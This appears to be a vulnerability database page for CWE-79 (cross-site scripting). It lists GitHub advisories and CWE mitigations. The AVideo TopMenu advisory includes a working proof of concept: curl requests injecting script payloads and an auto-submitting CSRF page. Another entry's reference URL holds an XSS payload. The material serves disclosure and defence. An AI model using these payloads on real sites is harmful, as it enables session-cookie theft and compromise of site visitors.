CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
71059 vulnerabilities reference this CWE, most recent first.
GHSA-GMM4-G83X-R552
Vulnerability from github – Published: 2024-11-09 09:30 – Updated: 2024-11-09 09:30The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.8.3. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2024-10876"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-09T07:15:06Z",
"severity": "MODERATE"
},
"details": "The Charitable \u2013 Donation Plugin for WordPress \u2013 Fundraising with Recurring Donations \u0026 More plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg \u0026 remove_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.8.3. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
"id": "GHSA-gmm4-g83x-r552",
"modified": "2024-11-09T09:30:29Z",
"published": "2024-11-09T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10876"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/charitable/tags/1.8.2/includes/admin/donations/class-charitable-donation-list-table.php#L318"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3183944/charitable/trunk/includes/admin/donations/class-charitable-donation-list-table.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68014bb5-b2ef-4e2f-9c47-85e555ded5a7?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMM8-G27G-3865
Vulnerability from github – Published: 2023-07-20 18:33 – Updated: 2024-04-04 06:17Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-37728"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-20T18:15:12Z",
"severity": "MODERATE"
},
"details": "Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability.",
"id": "GHSA-gmm8-g27g-3865",
"modified": "2024-04-04T06:17:54Z",
"published": "2023-07-20T18:33:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37728"
},
{
"type": "WEB",
"url": "https://medium.com/%40ayush.engr29/cve-2023-37728-6dfb7586311"
},
{
"type": "WEB",
"url": "https://medium.com/@ayush.engr29/cve-2023-37728-6dfb7586311"
},
{
"type": "WEB",
"url": "http://icearp.com"
},
{
"type": "WEB",
"url": "http://icewarp.com"
},
{
"type": "WEB",
"url": "http://mail.ziyan.com/webmail/?color=%22%3E%3Cimg%20src%20onerror=%22alert(0)%22%3E%3C%22%27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMM9-7857-9MP9
Vulnerability from github – Published: 2022-05-17 04:31 – Updated: 2022-05-17 04:31Multiple cross-site scripting (XSS) vulnerabilities in template.php in Zen theme 7.x-3.x before 7.x-3.3 and 7.x-5.x before 7.x-5.5 for Drupal allow remote authenticated users with the "administer themes" permission to inject arbitrary web script or HTML via the skip_link_text setting and unspecified other theme settings.
{
"affected": [],
"aliases": [
"CVE-2014-7980"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-08T18:55:00Z",
"severity": "LOW"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in template.php in Zen theme 7.x-3.x before 7.x-3.3 and 7.x-5.x before 7.x-5.5 for Drupal allow remote authenticated users with the \"administer themes\" permission to inject arbitrary web script or HTML via the skip_link_text setting and unspecified other theme settings.",
"id": "GHSA-gmm9-7857-9mp9",
"modified": "2022-05-17T04:31:36Z",
"published": "2022-05-17T04:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7980"
},
{
"type": "WEB",
"url": "https://www.drupal.org/node/2254835"
},
{
"type": "WEB",
"url": "https://www.drupal.org/node/2254837"
},
{
"type": "WEB",
"url": "http://drupal.org/node/2254925"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/58318"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/67175"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GMP9-H8J4-2M6G
Vulnerability from github – Published: 2024-06-08 15:31 – Updated: 2024-06-08 15:31Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in CodePeople WP Time Slots Booking Form allows Stored XSS.This issue affects WP Time Slots Booking Form: from n/a through 1.2.10.
{
"affected": [],
"aliases": [
"CVE-2024-35734"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-08T13:15:55Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in CodePeople WP Time Slots Booking Form allows Stored XSS.This issue affects WP Time Slots Booking Form: from n/a through 1.2.10.",
"id": "GHSA-gmp9-h8j4-2m6g",
"modified": "2024-06-08T15:31:18Z",
"published": "2024-06-08T15:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35734"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-10-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GMPC-FXG2-VCMQ
Vulnerability from github – Published: 2026-04-01 23:25 – Updated: 2026-04-01 23:25Summary
The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.
Details
Multiple output locations in the TopMenu plugin render user-controlled data without escaping:
In HTMLMenuRight.php:24, the icon class is injected directly:
<i class="<?php echo $value2['icon'] ?>"></i>
In HTMLMenuRight.php:40, the URL is rendered without encoding:
<a href="<?php echo $value2['finalURL']; ?>">
In HTMLMenuLeft.php:32, same pattern for the left menu:
<a href="<?php echo $value2['finalURL']; ?>">
In index.php:49, the menu item text is echoed raw:
<?php echo $menuItem->getText(); ?>
Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.
Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.
Proof of Concept
- As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
- Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
- Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
-X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
-d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
- Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
<input type="hidden" name="menuId" value="1" />
<input type="hidden" name="item_order" value="99" />
<input type="hidden" name="item_status" value="a" />
<input type="hidden" name="text" value="<script>alert(document.cookie)</script>" />
<input type="hidden" name="title" value="Home" />
<input type="hidden" name="url" value="/" />
<input type="hidden" name="icon" value="fa-home" />
<input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>
The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.
- Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
- The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.
Impact
Stored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.
Recommended Fix
Apply htmlspecialchars() with ENT_QUOTES to all outputs of $value2['finalURL'], $value2['icon'], and $menuItem->getText() in the TopMenu plugin templates:
// HTMLMenuRight.php:24
<i class="<?php echo htmlspecialchars($value2['icon'], ENT_QUOTES, 'UTF-8'); ?>"></i>
// HTMLMenuRight.php:40
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">
// HTMLMenuLeft.php:32
<a href="<?php echo htmlspecialchars($value2['finalURL'], ENT_QUOTES, 'UTF-8'); ?>">
// floatMenu.php - same pattern for any $value2['icon'] and $value2['finalURL'] outputs
// index.php:49
<?php echo htmlspecialchars($menuItem->getText(), ENT_QUOTES, 'UTF-8'); ?>
Apply the same encoding to every location in HTMLMenuRight.php, HTMLMenuLeft.php, floatMenu.php, and index.php where these values are echoed into HTML.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:25:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying `htmlspecialchars()` or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.\n\n## Details\n\nMultiple output locations in the TopMenu plugin render user-controlled data without escaping:\n\nIn `HTMLMenuRight.php:24`, the icon class is injected directly:\n\n```php\n\u003ci class=\"\u003c?php echo $value2[\u0027icon\u0027] ?\u003e\"\u003e\u003c/i\u003e\n```\n\nIn `HTMLMenuRight.php:40`, the URL is rendered without encoding:\n\n```php\n\u003ca href=\"\u003c?php echo $value2[\u0027finalURL\u0027]; ?\u003e\"\u003e\n```\n\nIn `HTMLMenuLeft.php:32`, same pattern for the left menu:\n\n```php\n\u003ca href=\"\u003c?php echo $value2[\u0027finalURL\u0027]; ?\u003e\"\u003e\n```\n\nIn `index.php:49`, the menu item text is echoed raw:\n\n```php\n\u003c?php echo $menuItem-\u003egetText(); ?\u003e\n```\n\nMenu item data is saved via `menuItemSave.json.php` with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.\n\nCritically, `menuItemSave.json.php` has no CSRF protection. It checks `User::isAdmin()` but does not call `isGlobalTokenValid()` or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker\u0027s page while logged in.\n\n## Proof of Concept\n\n1. As an admin user, save a menu item with a malicious icon class:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n -d \u0027icon=fa-home\" onmouseover=\"alert(document.cookie)\u0026text=Home\u0026url=/\u0026status=a\u0027\n```\n\n2. Alternatively, inject via the URL field to create a JavaScript link:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n -d \u0027icon=fa-link\u0026text=Click+Me\u0026url=javascript:alert(document.cookie)\u0026status=a\u0027\n```\n\n3. Alternatively, inject via the text field:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n -d \u0027icon=fa-home\u0026text=\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u0026url=/\u0026status=a\u0027\n```\n\n4. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-041 CSRF + Stored XSS PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"inject\" method=\"POST\" target=\"f1\"\n action=\"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\"\u003e\n \u003cinput type=\"hidden\" name=\"menuId\" value=\"1\" /\u003e\n \u003cinput type=\"hidden\" name=\"item_order\" value=\"99\" /\u003e\n \u003cinput type=\"hidden\" name=\"item_status\" value=\"a\" /\u003e\n \u003cinput type=\"hidden\" name=\"text\" value=\"\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"title\" value=\"Home\" /\u003e\n \u003cinput type=\"hidden\" name=\"url\" value=\"/\" /\u003e\n \u003cinput type=\"hidden\" name=\"icon\" value=\"fa-home\" /\u003e\n \u003cinput type=\"hidden\" name=\"menuSeoUrlItem\" value=\"\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027inject\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe cross-origin POST creates the malicious menu item because `menuItemSave.json.php` has no CSRF token validation.\n\n5. Visit any page on the AVideo instance:\n\n```bash\ncurl \"https://your-avideo-instance.com/\"\n```\n\n6. The injected JavaScript executes in the context of every visitor\u0027s browser session because the menu is rendered on all pages.\n\n## Impact\n\nStored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.\n\n## Recommended Fix\n\nApply `htmlspecialchars()` with `ENT_QUOTES` to all outputs of `$value2[\u0027finalURL\u0027]`, `$value2[\u0027icon\u0027]`, and `$menuItem-\u003egetText()` in the TopMenu plugin templates:\n\n```php\n// HTMLMenuRight.php:24\n\u003ci class=\"\u003c?php echo htmlspecialchars($value2[\u0027icon\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\"\u003e\u003c/i\u003e\n\n// HTMLMenuRight.php:40\n\u003ca href=\"\u003c?php echo htmlspecialchars($value2[\u0027finalURL\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\"\u003e\n\n// HTMLMenuLeft.php:32\n\u003ca href=\"\u003c?php echo htmlspecialchars($value2[\u0027finalURL\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\"\u003e\n\n// floatMenu.php - same pattern for any $value2[\u0027icon\u0027] and $value2[\u0027finalURL\u0027] outputs\n// index.php:49\n\u003c?php echo htmlspecialchars($menuItem-\u003egetText(), ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\n```\n\nApply the same encoding to every location in `HTMLMenuRight.php`, `HTMLMenuLeft.php`, `floatMenu.php`, and `index.php` where these values are echoed into HTML.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-gmpc-fxg2-vcmq",
"modified": "2026-04-01T23:25:11Z",
"published": "2026-04-01T23:25:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gmpc-fxg2-vcmq"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin"
}
GHSA-GMPC-XGF5-4PRF
Vulnerability from github – Published: 2022-05-01 23:57 – Updated: 2022-05-01 23:57Multiple cross-site scripting (XSS) vulnerabilities in upload/file/language_menu.php in ContentNow CMS 1.4.1 allow remote attackers to inject arbitrary web script or HTML via the (1) pageid parameter or (2) PATH_INFO.
{
"affected": [],
"aliases": [
"CVE-2008-3180"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-15T18:41:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in upload/file/language_menu.php in ContentNow CMS 1.4.1 allow remote attackers to inject arbitrary web script or HTML via the (1) pageid parameter or (2) PATH_INFO.",
"id": "GHSA-gmpc-xgf5-4prf",
"modified": "2022-05-01T23:57:29Z",
"published": "2022-05-01T23:57:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3180"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43610"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6011"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30888"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3990"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30102"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GMPJ-RGWV-H8WQ
Vulnerability from github – Published: 2025-12-10 21:31 – Updated: 2025-12-10 21:31Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
{
"affected": [],
"aliases": [
"CVE-2025-64845"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T19:16:32Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
"id": "GHSA-gmpj-rgwv-h8wq",
"modified": "2025-12-10T21:31:36Z",
"published": "2025-12-10T21:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64845"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMPJ-X537-7JV6
Vulnerability from github – Published: 2023-12-15 12:30 – Updated: 2023-12-15 12:30Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
{
"affected": [],
"aliases": [
"CVE-2023-48496"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-15T11:15:21Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim\u0027s browser.",
"id": "GHSA-gmpj-x537-7jv6",
"modified": "2023-12-15T12:30:28Z",
"published": "2023-12-15T12:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48496"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMPR-6M7M-7M27
Vulnerability from github – Published: 2026-09-10 09:31 – Updated: 2026-09-10 09:31A cross-site scripting vulnerability exists in SHIRASAGI, which may allow an attacker to execute an arbitrary script in the web browser of a user who accesses a website using the affected product.
{
"affected": [],
"aliases": [
"CVE-2026-81635"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-10T07:17:03Z",
"severity": "MODERATE"
},
"details": "A cross-site scripting vulnerability exists in SHIRASAGI, which may allow an attacker to execute an arbitrary script in the web browser of a user who accesses a website using the affected product.",
"id": "GHSA-gmpr-6m7m-7m27",
"modified": "2026-09-10T09:31:32Z",
"published": "2026-09-10T09:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81635"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN37476837"
},
{
"type": "WEB",
"url": "https://www.ss-proj.org/support/1710.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GMQ4-8473-VCV2
Vulnerability from github – Published: 2022-05-17 00:41 – Updated: 2022-05-17 00:41Cross-site scripting (XSS) vulnerability in search.php in miniPortail 2.2 and earlier allows remote attackers to inject arbitrary web script or HTML via an unspecified argument, probably the search string.
{
"affected": [],
"aliases": [
"CVE-2008-6168"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-19T15:30:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in search.php in miniPortail 2.2 and earlier allows remote attackers to inject arbitrary web script or HTML via an unspecified argument, probably the search string.",
"id": "GHSA-gmq4-8473-vcv2",
"modified": "2022-05-17T00:41:08Z",
"published": "2022-05-17T00:41:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6168"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46080"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6821"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31895"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
